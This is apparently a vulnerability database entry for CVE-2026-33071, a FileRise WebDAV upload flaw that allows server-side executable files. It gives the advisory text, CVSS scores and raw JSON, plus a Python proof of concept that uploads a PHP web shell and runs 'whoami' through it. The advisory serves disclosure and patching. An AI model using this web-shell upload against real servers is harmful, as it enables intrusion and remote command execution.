Security Vulnerability Report
中文
CVE-2026-33071 CVSS 4.3 MEDIUM

CVE-2026-33071

Published: 2026-03-20 09:16:16
Last Modified: 2026-03-23 15:36:47

Description

FileRise is a self-hosted web file manager / WebDAV server. In versions prior to 3.8.0, the WebDAV upload endpoint accepts any file extension including .phtml, .php5, .htaccess, and other server-side executable types, bypassing the filename validation enforced by the regular upload path. In non-default deployments lacking Apache's LocationMatch protection, this leads to remote code execution. When files are uploaded via WebDAV, the createFile() method in FileRiseDirectory.php and the put() method in FileRiseFile.php accept the filename directly from the WebDAV client without any validation. In contrast, the regular upload endpoint in UploadModel::upload() validates filenames against REGEX_FILE_NAME. This issue is fixed in version 3.8.0.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:filerise:filerise:*:*:*:*:*:*:*:* - VULNERABLE
FileRise < 3.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://example.com/webdav/" shell_filename = "shell.php" malicious_code = "<?php system($_GET['cmd']); ?>" # WebDAV PUT request to upload the malicious file headers = { "Content-Type": "application/octet-stream" } print(f"[*] Attempting to upload {shell_filename}...") response = requests.put(target_url + shell_filename, data=malicious_code, headers=headers) if response.status_code == 201 or response.status_code == 200: print(f"[+] File uploaded successfully.") # Attempt to execute the uploaded file exec_url = f"http://example.com/uploads/{shell_filename}?cmd=whoami" print(f"[*] Triggering payload at: {exec_url}") r = requests.get(exec_url) print("[+] Response:") print(r.text) else: print(f"[-] Upload failed with status code: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33071", "sourceIdentifier": "[email protected]", "published": "2026-03-20T09:16:15.537", "lastModified": "2026-03-23T15:36:46.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FileRise is a self-hosted web file manager / WebDAV server. In versions prior to 3.8.0, the WebDAV upload endpoint accepts any file extension including .phtml, .php5, .htaccess, and other server-side executable types, bypassing the filename validation enforced by the regular upload path. In non-default deployments lacking Apache's LocationMatch protection, this leads to remote code execution. When files are uploaded via WebDAV, the createFile() method in FileRiseDirectory.php and the put() method in FileRiseFile.php accept the filename directly from the WebDAV client without any validation. In contrast, the regular upload endpoint in UploadModel::upload() validates filenames against REGEX_FILE_NAME. This issue is fixed in version 3.8.0."}, {"lang": "es", "value": "FileRise es un gestor de archivos web autoalojado / servidor WebDAV. En versiones anteriores a la 3.8.0, el endpoint de carga WebDAV acepta cualquier extensión de archivo incluyendo .phtml, .php5, .htaccess, y otros tipos ejecutables del lado del servidor, eludiendo la validación de nombre de archivo impuesta por la ruta de carga regular. En despliegues no predeterminados que carecen de la protección LocationMatch de Apache, esto lleva a la ejecución remota de código. Cuando los archivos se cargan a través de WebDAV, el método createFile() en FileRiseDirectory.php y el método put() en FileRiseFile.php aceptan el nombre de archivo directamente del cliente WebDAV sin ninguna validación. En contraste, el endpoint de carga regular en UploadModel::upload() valida los nombres de archivo contra REGEX_FILE_NAME. Este problema está solucionado en la versión 3.8.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}, {"lang": "en", "value": "CWE-552"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:filerise:filerise:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.8.0", "matchCriteriaId": "144B6CF3-5C73-4B67-B8A1-154550DFEFBA"}]}]}], "references": [{"url": "https://github.com/error311/FileRise/releases/tag/v3.8.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/error311/FileRise/security/advisories/GHSA-46gv-gf5f-wvr2", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}